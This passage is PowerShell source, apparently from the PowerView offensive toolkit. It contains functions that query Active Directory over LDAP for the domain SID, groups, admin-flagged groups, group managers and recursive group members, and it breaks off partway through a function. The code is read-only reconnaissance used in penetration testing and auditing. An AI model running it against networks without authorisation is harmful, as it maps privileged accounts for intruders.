5029 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
5030 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
5031 # and rebuild the domain searcher
5032 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
5033 Write-Verbose "[Get-DomainSubnet] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
5034 $SearcherArguments['Domain'] = $IdentityDomain
5035 $SubnetSearcher = Get-DomainSearcher @SearcherArguments
5036 if (-not $SubnetSearcher) {
5037 Write-Warning "[Get-DomainSubnet] Unable to retrieve domain searcher for '$IdentityDomain'"
5038 }
5039 }
5040 }
5041 else {
5042 try {
5043 $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
5044 $IdentityFilter += "(objectguid=$GuidByteString)"
5045 }
5046 catch {
5047 $IdentityFilter += "(name=$IdentityInstance)"
5048 }
5049 }
5050 }
5051 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
5052 $Filter += "(|$IdentityFilter)"
5053 }
5054
5055 if ($PSBoundParameters['LDAPFilter']) {
5056 Write-Verbose "[Get-DomainSubnet] Using additional LDAP filter: $LDAPFilter"
5057 $Filter += "$LDAPFilter"
5058 }
5059
5060 $SubnetSearcher.filter = "(&(objectCategory=subnet)$Filter)"
5061 Write-Verbose "[Get-DomainSubnet] Get-DomainSubnet filter string: $($SubnetSearcher.filter)"
5062
5063 if ($PSBoundParameters['FindOne']) { $Results = $SubnetSearcher.FindOne() }
5064 else { $Results = $SubnetSearcher.FindAll() }
5065 $Results | Where-Object {$_} | ForEach-Object {
5066 if ($PSBoundParameters['Raw']) {
5067 # return raw result objects
5068 $Subnet = $_
5069 }
5070 else {
5071 $Subnet = Convert-LDAPProperty -Properties $_.Properties
5072 }
5073 $Subnet.PSObject.TypeNames.Insert(0, 'PowerView.Subnet')
5074
5075 if ($PSBoundParameters['SiteName']) {
5076 # have to do the filtering after the LDAP query as LDAP doesn't let you specify
5077 # wildcards for 'siteobject' :(
5078 if ($Subnet.properties -and ($Subnet.properties.siteobject -like "*$SiteName*")) {
5079 $Subnet
5080 }
5081 elseif ($Subnet.siteobject -like "*$SiteName*") {
5082 $Subnet
5083 }
5084 }
5085 else {
5086 $Subnet
5087 }
5088 }
5089 if ($Results) {
5090 try { $Results.dispose() }
5091 catch {
5092 Write-Verbose "[Get-DomainSubnet] Error disposing of the Results object: $_"
5093 }
5094 }
5095 $SubnetSearcher.dispose()
5096 }
5097 }
5098}
5099
5100function Get-DomainSID {
5101
5102
5103 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
5104 [OutputType([String])]
5105 [CmdletBinding()]
5106 Param(
5107 [ValidateNotNullOrEmpty()]
5108 [String]
5109 $Domain,
5110
5111 [ValidateNotNullOrEmpty()]
5112 [Alias('DomainController')]
5113 [String]
5114 $Server,
5115
5116 [Management.Automation.PSCredential]
5117 [Management.Automation.CredentialAttribute()]
5118 $Credential = [Management.Automation.PSCredential]::Empty
5119 )
5120
5121 $SearcherArguments = @{
5122 'LDAPFilter' = '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
5123 }
5124 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
5125 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
5126 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
5127
5128 $DCSID = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 -ExpandProperty objectsid
5129
5130 if ($DCSID) {
5131 $DCSID.SubString(0, $DCSID.LastIndexOf('-'))
5132 }
5133 else {
5134 Write-Verbose "[Get-DomainSID] Error extracting domain SID for '$Domain'"
5135 }
5136}
5137
5138function Get-DomainGroup {
5139
5140
5141 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
5142 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
5143 [OutputType('PowerView.Group')]
5144 [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')]
5145 Param(
5146 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
5147 [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
5148 [String[]]
5149 $Identity,
5150
5151 [ValidateNotNullOrEmpty()]
5152 [Alias('UserName')]
5153 [String]
5154 $MemberIdentity,
5155
5156 [Switch]
5157 $AdminCount,
5158
5159 [ValidateSet('DomainLocal', 'NotDomainLocal', 'Global', 'NotGlobal', 'Universal', 'NotUniversal')]
5160 [Alias('Scope')]
5161 [String]
5162 $GroupScope,
5163
5164 [ValidateSet('Security', 'Distribution', 'CreatedBySystem', 'NotCreatedBySystem')]
5165 [String]
5166 $GroupProperty,
5167
5168 [ValidateNotNullOrEmpty()]
5169 [String]
5170 $Domain,
5171
5172 [ValidateNotNullOrEmpty()]
5173 [Alias('Filter')]
5174 [String]
5175 $LDAPFilter,
5176
5177 [ValidateNotNullOrEmpty()]
5178 [String[]]
5179 $Properties,
5180
5181 [ValidateNotNullOrEmpty()]
5182 [Alias('ADSPath')]
5183 [String]
5184 $SearchBase,
5185
5186 [ValidateNotNullOrEmpty()]
5187 [Alias('DomainController')]
5188 [String]
5189 $Server,
5190
5191 [ValidateSet('Base', 'OneLevel', 'Subtree')]
5192 [String]
5193 $SearchScope = 'Subtree',
5194
5195 [ValidateRange(1, 10000)]
5196 [Int]
5197 $ResultPageSize = 200,
5198
5199 [ValidateRange(1, 10000)]
5200 [Int]
5201 $ServerTimeLimit,
5202
5203 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
5204 [String]
5205 $SecurityMasks,
5206
5207 [Switch]
5208 $Tombstone,
5209
5210 [Alias('ReturnOne')]
5211 [Switch]
5212 $FindOne,
5213
5214 [Management.Automation.PSCredential]
5215 [Management.Automation.CredentialAttribute()]
5216 $Credential = [Management.Automation.PSCredential]::Empty,
5217
5218 [Switch]
5219 $Raw
5220 )
5221
5222 BEGIN {
5223 $SearcherArguments = @{}
5224 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
5225 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
5226 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
5227 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
5228 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
5229 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
5230 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
5231 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
5232 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
5233 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
5234 $GroupSearcher = Get-DomainSearcher @SearcherArguments
5235 }
5236
5237 PROCESS {
5238 if ($GroupSearcher) {
5239 if ($PSBoundParameters['MemberIdentity']) {
5240
5241 if ($SearcherArguments['Properties']) {
5242 $OldProperties = $SearcherArguments['Properties']
5243 }
5244
5245 $SearcherArguments['Identity'] = $MemberIdentity
5246 $SearcherArguments['Raw'] = $True
5247
5248 Get-DomainObject @SearcherArguments | ForEach-Object {
5249 # convert the user/group to a directory entry
5250 $ObjectDirectoryEntry = $_.GetDirectoryEntry()
5251
5252 # cause the cache to calculate the token groups for the user/group
5253 $ObjectDirectoryEntry.RefreshCache('tokenGroups')
5254
5255 $ObjectDirectoryEntry.TokenGroups | ForEach-Object {
5256 # convert the token group sid
5257 $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value
5258
5259 # ignore the built in groups
5260 if ($GroupSid -notmatch '^S-1-5-32-.*') {
5261 $SearcherArguments['Identity'] = $GroupSid
5262 $SearcherArguments['Raw'] = $False
5263 if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties }
5264 $Group = Get-DomainObject @SearcherArguments
5265 if ($Group) {
5266 $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group')
5267 $Group
5268 }
5269 }
5270 }
5271 }
5272 }
5273 else {
5274 $IdentityFilter = ''
5275 $Filter = ''
5276 $Identity | Where-Object {$_} | ForEach-Object {
5277 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
5278 if ($IdentityInstance -match '^S-1-') {
5279 $IdentityFilter += "(objectsid=$IdentityInstance)"
5280 }
5281 elseif ($IdentityInstance -match '^CN=') {
5282 $IdentityFilter += "(distinguishedname=$IdentityInstance)"
5283 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
5284 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
5285 # and rebuild the domain searcher
5286 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
5287 Write-Verbose "[Get-DomainGroup] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
5288 $SearcherArguments['Domain'] = $IdentityDomain
5289 $GroupSearcher = Get-DomainSearcher @SearcherArguments
5290 if (-not $GroupSearcher) {
5291 Write-Warning "[Get-DomainGroup] Unable to retrieve domain searcher for '$IdentityDomain'"
5292 }
5293 }
5294 }
5295 elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
5296 $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
5297 $IdentityFilter += "(objectguid=$GuidByteString)"
5298 }
5299 elseif ($IdentityInstance.Contains('\')) {
5300 $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
5301 if ($ConvertedIdentityInstance) {
5302 $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
5303 $GroupName = $IdentityInstance.Split('\')[1]
5304 $IdentityFilter += "(samAccountName=$GroupName)"
5305 $SearcherArguments['Domain'] = $GroupDomain
5306 Write-Verbose "[Get-DomainGroup] Extracted domain '$GroupDomain' from '$IdentityInstance'"
5307 $GroupSearcher = Get-DomainSearcher @SearcherArguments
5308 }
5309 }
5310 else {
5311 $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))"
5312 }
5313 }
5314
5315 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
5316 $Filter += "(|$IdentityFilter)"
5317 }
5318
5319 if ($PSBoundParameters['AdminCount']) {
5320 Write-Verbose '[Get-DomainGroup] Searching for adminCount=1'
5321 $Filter += '(admincount=1)'
5322 }
5323 if ($PSBoundParameters['GroupScope']) {
5324 $GroupScopeValue = $PSBoundParameters['GroupScope']
5325 $Filter = Switch ($GroupScopeValue) {
5326 'DomainLocal' { '(groupType:1.2.840.113556.1.4.803:=4)' }
5327 'NotDomainLocal' { '(!(groupType:1.2.840.113556.1.4.803:=4))' }
5328 'Global' { '(groupType:1.2.840.113556.1.4.803:=2)' }
5329 'NotGlobal' { '(!(groupType:1.2.840.113556.1.4.803:=2))' }
5330 'Universal' { '(groupType:1.2.840.113556.1.4.803:=8)' }
5331 'NotUniversal' { '(!(groupType:1.2.840.113556.1.4.803:=8))' }
5332 }
5333 Write-Verbose "[Get-DomainGroup] Searching for group scope '$GroupScopeValue'"
5334 }
5335 if ($PSBoundParameters['GroupProperty']) {
5336 $GroupPropertyValue = $PSBoundParameters['GroupProperty']
5337 $Filter = Switch ($GroupPropertyValue) {
5338 'Security' { '(groupType:1.2.840.113556.1.4.803:=2147483648)' }
5339 'Distribution' { '(!(groupType:1.2.840.113556.1.4.803:=2147483648))' }
5340 'CreatedBySystem' { '(groupType:1.2.840.113556.1.4.803:=1)' }
5341 'NotCreatedBySystem' { '(!(groupType:1.2.840.113556.1.4.803:=1))' }
5342 }
5343 Write-Verbose "[Get-DomainGroup] Searching for group property '$GroupPropertyValue'"
5344 }
5345 if ($PSBoundParameters['LDAPFilter']) {
5346 Write-Verbose "[Get-DomainGroup] Using additional LDAP filter: $LDAPFilter"
5347 $Filter += "$LDAPFilter"
5348 }
5349
5350 $GroupSearcher.filter = "(&(objectCategory=group)$Filter)"
5351 Write-Verbose "[Get-DomainGroup] filter string: $($GroupSearcher.filter)"
5352
5353 if ($PSBoundParameters['FindOne']) { $Results = $GroupSearcher.FindOne() }
5354 else { $Results = $GroupSearcher.FindAll() }
5355 $Results | Where-Object {$_} | ForEach-Object {
5356 if ($PSBoundParameters['Raw']) {
5357 # return raw result objects
5358 $Group = $_
5359 }
5360 else {
5361 $Group = Convert-LDAPProperty -Properties $_.Properties
5362 }
5363 $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group')
5364 $Group
5365 }
5366 if ($Results) {
5367 try { $Results.dispose() }
5368 catch {
5369 Write-Verbose "[Get-DomainGroup] Error disposing of the Results object"
5370 }
5371 }
5372 $GroupSearcher.dispose()
5373 }
5374 }
5375 }
5376}
5377
5378function Get-DomainManagedSecurityGroup {
5379
5380 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
5381 [OutputType('PowerView.ManagedSecurityGroup')]
5382 [CmdletBinding()]
5383 Param(
5384 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
5385 [Alias('Name')]
5386 [ValidateNotNullOrEmpty()]
5387 [String]
5388 $Domain,
5389
5390 [ValidateNotNullOrEmpty()]
5391 [Alias('ADSPath')]
5392 [String]
5393 $SearchBase,
5394
5395 [ValidateNotNullOrEmpty()]
5396 [Alias('DomainController')]
5397 [String]
5398 $Server,
5399
5400 [ValidateSet('Base', 'OneLevel', 'Subtree')]
5401 [String]
5402 $SearchScope = 'Subtree',
5403
5404 [ValidateRange(1, 10000)]
5405 [Int]
5406 $ResultPageSize = 200,
5407
5408 [ValidateRange(1, 10000)]
5409 [Int]
5410 $ServerTimeLimit,
5411
5412 [Switch]
5413 $Tombstone,
5414
5415 [Management.Automation.PSCredential]
5416 [Management.Automation.CredentialAttribute()]
5417 $Credential = [Management.Automation.PSCredential]::Empty
5418 )
5419
5420 BEGIN {
5421 $SearcherArguments = @{
5422 'LDAPFilter' = '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))'
5423 'Properties' = 'distinguishedName,managedBy,samaccounttype,samaccountname'
5424 }
5425 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
5426 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
5427 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
5428 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
5429 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
5430 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
5431 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
5432 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
5433 }
5434
5435 PROCESS {
5436 if ($PSBoundParameters['Domain']) {
5437 $SearcherArguments['Domain'] = $Domain
5438 $TargetDomain = $Domain
5439 }
5440 else {
5441 $TargetDomain = $Env:USERDNSDOMAIN
5442 }
5443
5444 # go through the list of security groups on the domain and identify those who have a manager
5445 Get-DomainGroup @SearcherArguments | ForEach-Object {
5446 $SearcherArguments['Properties'] = 'distinguishedname,name,samaccounttype,samaccountname,objectsid'
5447 $SearcherArguments['Identity'] = $_.managedBy
5448 $Null = $SearcherArguments.Remove('LDAPFilter')
5449
5450 # $SearcherArguments
5451 # retrieve the object that the managedBy DN refers to
5452 $GroupManager = Get-DomainObject @SearcherArguments
5453 # Write-Host "GroupManager: $GroupManager"
5454 $ManagedGroup = New-Object PSObject
5455 $ManagedGroup | Add-Member Noteproperty 'GroupName' $_.samaccountname
5456 $ManagedGroup | Add-Member Noteproperty 'GroupDistinguishedName' $_.distinguishedname
5457 $ManagedGroup | Add-Member Noteproperty 'ManagerName' $GroupManager.samaccountname
5458 $ManagedGroup | Add-Member Noteproperty 'ManagerDistinguishedName' $GroupManager.distinguishedName
5459
5460 # determine whether the manager is a user or a group
5461 if ($GroupManager.samaccounttype -eq 0x10000000) {
5462 $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'Group'
5463 }
5464 elseif ($GroupManager.samaccounttype -eq 0x30000000) {
5465 $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'User'
5466 }
5467
5468 $ACLArguments = @{
5469 'Identity' = $_.distinguishedname
5470 'RightsFilter' = 'WriteMembers'
5471 }
5472 if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server }
5473 if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope }
5474 if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize }
5475 if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit }
5476 if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone }
5477 if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential }
5478
5479 # # TODO: correct!
5480 # # find the ACLs that relate to the ability to write to the group
5481 # $xacl = Get-DomainObjectAcl @ACLArguments -Verbose
5482 # # $ACLArguments
5483 # # double-check that the manager
5484 # if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AceType -eq 'AccessAllowed' -and ($xacl.ObjectSid -eq $GroupManager.objectsid)) {
5485 # $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $True
5486 # }
5487 # else {
5488 # $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $False
5489 # }
5490
5491 $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' 'UNKNOWN'
5492
5493 $ManagedGroup.PSObject.TypeNames.Insert(0, 'PowerView.ManagedSecurityGroup')
5494 $ManagedGroup
5495 }
5496 }
5497}
5498
5499function Get-DomainGroupMember {
5500
5501 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
5502 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
5503 [OutputType('PowerView.GroupMember')]
5504 [CmdletBinding(DefaultParameterSetName = 'None')]
5505 Param(
5506 [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
5507 [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
5508 [String[]]
5509 $Identity,
5510
5511 [ValidateNotNullOrEmpty()]
5512 [String]
5513 $Domain,
5514
5515 [Parameter(ParameterSetName = 'ManualRecurse')]
5516 [Switch]
5517 $Recurse,
5518
5519 [Parameter(ParameterSetName = 'RecurseUsingMatchingRule')]
5520 [Switch]
5521 $RecurseUsingMatchingRule,
5522
5523 [ValidateNotNullOrEmpty()]
5524 [Alias('Filter')]
5525 [String]
5526 $LDAPFilter,
5527
5528 [ValidateNotNullOrEmpty()]
5529 [Alias('ADSPath')]
5530 [String]
5531 $SearchBase,
5532
5533 [ValidateNotNullOrEmpty()]
5534 [Alias('DomainController')]
5535 [String]
5536 $Server,
5537
5538 [ValidateSet('Base', 'OneLevel', 'Subtree')]
5539 [String]
5540 $SearchScope = 'Subtree',
5541
5542 [ValidateRange(1, 10000)]
5543 [Int]
5544 $ResultPageSize = 200,
5545
5546 [ValidateRange(1, 10000)]
5547 [Int]
5548 $ServerTimeLimit,
5549
5550 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
5551 [String]
5552 $SecurityMasks,
5553
5554 [Switch]
5555 $Tombstone,
5556
5557 [Management.Automation.PSCredential]
5558 [Management.Automation.CredentialAttribute()]
5559 $Credential = [Management.Automation.PSCredential]::Empty
5560 )
5561
5562 BEGIN {
5563 $SearcherArguments = @{
5564 'Properties' = 'member,samaccountname,distinguishedname'
5565 }
5566 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
5567 if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
5568 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
5569 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
5570 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
5571 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
5572 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
5573 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
5574 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
5575
5576 $ADNameArguments = @{}
5577 if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain }
5578 if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
5579 if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }
5580 }
5581
5582 PROCESS {
5583 $GroupSearcher = Get-DomainSearcher @SearcherArguments
5584 if ($GroupSearcher) {
5585 if ($PSBoundParameters['RecurseUsingMatchingRule']) {
5586 $SearcherArguments['Identity'] = $Identity
5587 $SearcherArguments['Raw'] = $True
5588 $Group = Get-DomainGroup @SearcherArguments
5589
5590 if (-not $Group) {
5591 Write-Warning "[Get-DomainGroupMember] Error searching for group with identity: $Identity"
5592 }
5593 else {
5594 $GroupFoundName = $Group.properties.item('samaccountname')[0]
5595 $GroupFoundDN = $Group.properties.item('distinguishedname')[0]
5596
5597 if ($PSBoundParameters['Domain']) {
5598 $GroupFoundDomain = $Domain
5599 }
5600 else {
5601 # if a domain isn't passed, try to extract it from the found group distinguished name
5602 if ($GroupFoundDN) {
5603 $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
5604 }
5605 }
5606 Write-Verbose "[Get-DomainGroupMember] Using LDAP matching rule to recurse on '$GroupFoundDN', only user accounts will be returned."
5607 $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupFoundDN))"
5608 $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName'))
5609 $Members = $GroupSearcher.FindAll() | ForEach-Object {$_.Properties.distinguishedname[0]}
5610 }
5611 $Null = $SearcherArguments.Remove('Raw')
5612 }
5613 else {
5614 $IdentityFilter = ''
5615 $Filter = ''
5616 $Identity | Where-Object {$_} | ForEach-Object {
5617 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
5618 if ($IdentityInstance -match '^S-1-') {
5619 $IdentityFilter += "(objectsid=$IdentityInstance)"
5620 }
5621 elseif ($IdentityInstance -match '^CN=') {
5622 $IdentityFilter += "(distinguishedname=$IdentityInstance)"
5623 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
5624 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
5625 # and rebuild the domain searcher
5626 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
5627 Write-Verbose "[Get-DomainGroupMember] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
5628 $SearcherArguments['Domain'] = $IdentityDomain
5629 $GroupSearcher = Get-DomainSearcher @SearcherArguments
5630 if (-not $GroupSearcher) {
5631 Write-Warning "[Get-DomainGroupMember] Unable to retrieve domain searcher for '$IdentityDomain'"
5632 }
5633 }
5634 }
5635 elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
5636 $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
5637 $IdentityFilter += "(objectguid=$GuidByteString)"
5638 }
5639 elseif ($IdentityInstance.Contains('\')) {
5640 $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
5641 if ($ConvertedIdentityInstance) {
5642 $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
5643 $GroupName = $IdentityInstance.Split('\')[1]
5644 $IdentityFilter += "(samAccountName=$GroupName)"
5645 $SearcherArguments['Domain'] = $GroupDomain
5646 Write-Verbose "[Get-DomainGroupMember] Extracted domain '$GroupDomain' from '$IdentityInstance'"
5647 $GroupSearcher = Get-DomainSearcher @SearcherArguments
5648 }
5649 }
5650 else {
5651 $IdentityFilter += "(samAccountName=$IdentityInstance)"
5652 }
5653 }
5654
5655 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
5656 $Filter += "(|$IdentityFilter)"
5657 }
5658
5659 if ($PSBoundParameters['LDAPFilter']) {
5660 Write-Verbose "[Get-DomainGroupMember] Using additional LDAP filter: $LDAPFilter"
5661 $Filter += "$LDAPFilter"
5662 }
5663
5664 $GroupSearcher.filter = "(&(objectCategory=group)$Filter)"
5665 Write-Verbose "[Get-DomainGroupMember] Get-DomainGroupMember filter string: $($GroupSearcher.filter)"
5666 try {
5667 $Result = $GroupSearcher.FindOne()
5668 }
5669 catch {
5670 Write-Warning "[Get-DomainGroupMember] Error searching for group with identity '$Identity': $_"
5671 $Members = @()
5672 }
5673
5674 $GroupFoundName = ''
5675 $GroupFoundDN = ''
5676
5677 if ($Result) {
5678 $Members = $Result.properties.item('member')
5679
5680 if ($Members.count -eq 0) {
5681 # ranged searching, thanks @meatballs__ !
5682 $Finished = $False
5683 $Bottom = 0
5684 $Top = 0
5685
5686 while (-not $Finished) {
5687 $Top = $Bottom + 1499
5688 $MemberRange="member;range=$Bottom-$Top"
5689 $Bottom += 1500
5690 $Null = $GroupSearcher.PropertiesToLoad.Clear()
5691 $Null = $GroupSearcher.PropertiesToLoad.Add("$MemberRange")
5692 $Null = $GroupSearcher.PropertiesToLoad.Add('samaccountname')
5693 $Null = $GroupSearcher.PropertiesToLoad.Add('distinguishedname')
5694
5695 try {
5696 $Result = $GroupSearcher.FindOne()
5697 $RangedProperty = $Result.Properties.PropertyNames -like "member;range=*"
5698 $Members += $Result.Properties.item($RangedProperty)
5699 $GroupFoundName = $Result.properties.item('samaccountname')[0]
5700 $GroupFoundDN = $Result.properties.item('distinguishedname')[0]
5701
5702 if ($Members.count -eq 0) {
5703 $Finished = $True
5704 }
5705 }
5706 catch [System.Management.Automation.MethodInvocationException] {
5707 $Finished = $True
5708 }
5709 }
5710 }
5711 else {
5712 $GroupFoundName = $Result.properties.item('samaccountname')[0]
5713 $GroupFoundDN = $Result.properties.item('distinguishedname')[0]
5714 $Members += $Result.Properties.item($RangedProperty)
5715 }
5716
5717 if ($PSBoundParameters['Domain']) {
5718 $GroupFoundDomain = $Domain
5719 }
5720 else {
5721 # if a domain isn't passed, try to extract it from the found group distinguished name
5722 if ($GroupFoundDN) {
5723 $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
5724 }
5725 }
5726 }
5727 }
5728
5729 ForEach ($Member in $Members) {
5730 if ($Recurse -and $UseMatchingRule) {
5731 $Properties = $_.Properties
5732 }
5733 else {
5734 $ObjectSearcherArguments = $SearcherArguments.Clone()
5735 $ObjectSearcherArguments['Identity'] = $Member
5736 $ObjectSearcherArguments['Raw'] = $True
5737 $ObjectSearcherArguments['Properties'] = 'distinguishedname,cn,samaccountname,objectsid,objectclass'
5738 $Object = Get-DomainObject @ObjectSearcherArguments
5739 $Properties = $Object.Properties
5740 }
5741
5742 if ($Properties) {
5743 $GroupMember = New-Object PSObject
5744 $GroupMember | Add-Member Noteproperty 'GroupDomain' $GroupFoundDomain
5745 $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName
5746 $GroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupFoundDN
5747
5748 if ($Properties.objectsid) {
5749 $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectsid[0], 0).Value)
5750 }
5751 else {
5752 $MemberSID = $Null
5753 }
5754
5755 try {
5756 $MemberDN = $Properties.distinguishedname[0]
5757 if ($MemberDN -match 'ForeignSecurityPrincipals|S-1-5-21') {
5758 try {
5759 if (-not $MemberSID) {
5760 $MemberSID = $Properties.cn[0]
5761 }
5762 $MemberSimpleName = Convert-ADName -Identity $MemberSID -OutputType 'DomainSimple' @ADNameArguments
5763
5764 if ($MemberSimpleName) {
5765 $MemberDomain = $MemberSimpleName.Split('@')[1]
5766 }
5767 else {
5768 Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN"
5769 $MemberDomain = $Null
5770 }
5771 }
5772 catch {
5773 Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN"
5774 $MemberDomain = $Null
5775 }
5776 }
5777 else {
5778 # extract the FQDN from the Distinguished Name
5779 $MemberDomain = $MemberDN.SubString($MemberDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
5780 }
5781 }
5782 catch {
